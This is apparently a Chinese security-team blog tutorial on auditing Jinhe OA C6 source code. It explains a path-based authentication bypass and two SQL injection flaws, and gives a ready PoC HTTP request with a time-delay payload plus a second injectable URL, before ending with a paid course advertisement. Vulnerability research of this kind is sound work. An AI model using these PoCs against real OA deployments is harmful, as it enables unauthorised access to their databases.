手把手教你审计金和OA系统漏洞

手把手教你审计金和OA系统漏洞

原创 chobits02 Code4th安全团队 2025-02-11 23:45

图片

金和OA C6系统是一款功能强大、应用广泛的协同管理平台。主要是由CSharp开发,打包成dll文件。在审计源码时候要使用dnspy之类的工具反编译源码进行审计。

贴一张我之前的CNVD代码审计提交成果

这里随口唠叨一句,金和OA已经是非常古老的产物了,在我实习时就误打误撞拿到了备份的源码开启了我审计之旅,如今几年过去了金和OA无愧是代码审计的入门OA系统

金和OA的源码和我对其代码审计的记录文档,已经放在团队的最新Freebuf知识大陆中,只是个红队内部小圈子

审计步骤文档和源码都已公开在知识大陆中

从头开始,审计开始先要弄清楚入口在哪里

登录页面路由为

/c6/Jhsoft.Web.login/PassWordSlide.aspx

找到对应的dll文件

反编译一下能找到
PassWordSlide类

说明它的路由规则是/c6/+dll的文件名称+方法名称.aspx

而且能访问到的也只是带有JHSoft.Web前缀的dll文件中的方法

有没有办法能绕过鉴权访问到不同文件里面的方法呢?办法是有的

文章 – .NET 某和OA办公系统全局绕过漏洞分析 – 先知社区

https://xz.aliyun.com/news/13954

就像用友OA能用/~访问到任意的servlet方法,用com.ufida.web.action.ActionServlet方法能访问到任意的Action方法一样,金和OA也存在自身的逻辑漏洞,使用/就能达到访问任意方法的目的,甚至在后期修复时也没有完全解决这个问题,POST方法时用/.ashx仍能造成逻辑问题

简单来审计一个SQL注入漏洞吧

JHSoft.Web.IncentivePlan.dll文件中的IncentivePlanFulfill方法如下

其中IncentiveID一路追踪,最后直接拼接到了SQL语句中执行,造成SQL注入漏洞,很简单对吧,金和OA大大小小的SQL注入都差不多

知道使用/能绕过权限验证,可以构造如下的POC

GET /C6/JHSoft.Web.IncentivePlan/IncentivePlanFulfill.aspx/?IncentiveID=1%20WAITFOR%20DELAY%20'0:0:5'--&TVersion=1 HTTP/1.1
Host: your-ip
User-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

验证一下延时注入了5秒

当然金和OA中也有不依赖逻辑漏洞的名副其实的漏洞

路径如

/c6/jhsoft.mobileapp/AndroidSevices/HomeService.asmx/GetHomeInfo

HomeService为Webservice文件

jhsoft.mobileapp/AndroidSevices/HomeService.asmx/GetHomeInfo方法中,GetQuickUserInfo查询userID

来到抽象类ExecProcReDataTable继续追踪

进入quickUserInfo判断条件

由于quickUserInfo数组并不存在PhotoURL参数,text为空,进入判断MapAndFindFilebyRelativeFilePath方法

判断为false,text设为空,释放类quickUserInfo

text为空进入条件string userSex = GetUserSex(userID);

此处就可以看到userId拼接进了SQL语句中进行处理,造成了SQL注入

string queryString = "select DossValue from dossiervalue a left join users b on a.RegCode=b.userid where a.DossierFieldID='3' and b.userid='" + userId + "'";

最后poc也能知道了:

http://XXXX/c6/jhsoft.mobileapp/AndroidSevices/HomeService.asmx/GetHomeInfo?userID=payload

每个初学挖洞的小白都有一个美梦
:是否可以在我学习挖洞技能的时候,有位师傅手把手指导,不仅教会我各种技术,还能带着我一起接项目挣钱,让我的技能和钱包同时“升级打怪”。

还真别说,现在这个天降大饼的美梦来了!
FreeBuf
知识大陆帮会《安全渗透感知大家族》,正好为你提供了这样的机会。在这里,你既能
学到知识
,又能
做项目赚钱
,还能在项目实践过程中与大佬们
交流思路、夯实基础

SRC漏洞挖掘出洞课程
,是由团队内部师傅根据实际挖洞经历整合的适合挖掘漏洞但是缺乏思路、刚接触学习漏洞挖掘不出漏洞的师傅们的漏洞挖掘教程。

第一期课程价格
199
,这价格还要什么自行车?课程正在持续更新中~

致远A8
,又称致远互联A8
协同管理软件
,是面向中型、大型、集团型组织(集团版OA)的数字化协同运营中台。A8版本的系统小版本较多,本次分析用的是致远A8 V7 SP1版本源码。

END

关注Cod
e4th安全团队

了解更多安全相关内容~